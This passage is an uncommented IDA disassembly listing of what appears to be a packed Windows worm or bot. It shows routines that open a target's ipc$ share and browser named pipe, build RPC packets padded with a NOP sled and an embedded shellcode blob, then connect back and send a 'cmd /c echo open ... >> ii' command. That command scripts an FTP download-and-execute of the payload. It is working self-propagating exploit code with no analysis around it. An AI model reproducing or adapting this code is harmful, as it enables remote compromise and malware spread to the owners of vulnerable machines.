; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: .packed:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: .packed:00429008o
		test	byte_4DBC54, 1
		jnz	short loc_40D888
		or	byte_4DBC54, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: .packed:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_432890
		add	eax, 6
		mov	dword_4CE354, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; sub_40D99B+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D99B	proc near		; CODE XREF: .packed:0040DF99p

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+arg_0]
		call	sub_41D160
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40DA0E
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_20DC]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi
		push	eax
		call	sub_41B980
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43D7E8
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		call	sub_426750
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------


loc_40DA0E:				; CODE XREF: sub_40D99B+23j
		mov	esi, 2000h


loc_40DA13:				; CODE XREF: sub_40D99B+71j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: sub_40D99B+194j
					; sub_40D99B+36Aj ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: sub_40D99B+B3j
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_4328E4
		push	eax
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_4328D0
		push	eax
		mov	[ebp+var_88], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: sub_40D99B+265j
		push	[ebp+var_4]
		call	dword_427068	; CloseHandle
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: sub_40D99B+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4270E8	; ReadFile
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_432878[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4CE35C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: sub_40D99B+1FCj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_4328C7+1)


loc_40DBBE:				; CODE XREF: sub_40D99B+20Ej
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43286C[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_432874[esi]
		push	7
		add	eax, edi
		push	offset dword_432860
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_41C310
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_432700
		push	eax
		call	sub_41C310
		mov	eax, dword_432870[esi]
		add	esp, 30h
		cmp	byte_432878[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CE354
		push	eax
		call	sub_41C310
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_432890
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_41C310
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: sub_40D99B+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_432890


loc_40DCC8:				; CODE XREF: sub_40D99B+342j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_41C310
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: sub_40D99B+31Aj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40DD0A
		push	[ebp+var_4]
		call	dword_427068	; CloseHandle
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: sub_40D99B+358j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41B590
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_4276AC
		fstp	[esp+0Ch+var_10+4]
		call	sub_41C7BF
		call	sub_41C798
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: sub_40D99B+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+arg_4], eax


loc_40DD77:				; CODE XREF: sub_40D99B+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4270E4	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_40DDE4:				; CODE XREF: sub_40D99B+4D3j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp+var_4C], ebx
		jz	short loc_40DE68
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_40DE4F
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: sub_40D99B+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_4270A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+arg_0+3],	1


loc_40DE68:				; CODE XREF: sub_40D99B+480j
					; sub_40D99B+4C7j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: sub_40D99B+47Bj
		mov	esi, [ebp+var_8]


loc_40DE79:				; CODE XREF: sub_40D99B+44Dj
					; sub_40D99B+4D9j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi	; CloseHandle
		push	esi
		call	sub_41B0B1
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40DE95
		push	[ebp+var_4C]
		call	edi	; CloseHandle


loc_40DE95:				; CODE XREF: sub_40D99B+4F3j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al


loc_40DE9B:				; CODE XREF: sub_40D99B+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D99B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEA0	proc near		; CODE XREF: .packed:0040DFB7p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42720C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_427210	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40DF6E
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DF6E
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB370
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DF72


loc_40DF6E:				; CODE XREF: sub_40DEA0+50j
					; sub_40DEA0+62j
		xor	eax, eax
		jmp	short loc_40DF89
; ---------------------------------------------------------------------------


loc_40DF72:				; CODE XREF: sub_40DEA0+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_42721C	; closesocket
		push	1
		pop	eax


loc_40DF89:				; CODE XREF: sub_40DEA0+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DEA0	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_40DF93:				; CODE XREF: .packed:0040DFD9j
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40D99B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DFC6
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DEA0
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40DFDB


loc_40DFC6:				; CODE XREF: .packed:0040DFA2j
		test	ebx, ebx
		jnz	short loc_40DFD5
		push	7D0h
		call	dword_427078	; Sleep


loc_40DFD5:				; CODE XREF: .packed:0040DFC8j
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40DF93


loc_40DFDB:				; CODE XREF: .packed:0040DFC4j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42720C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_427210	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB370
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


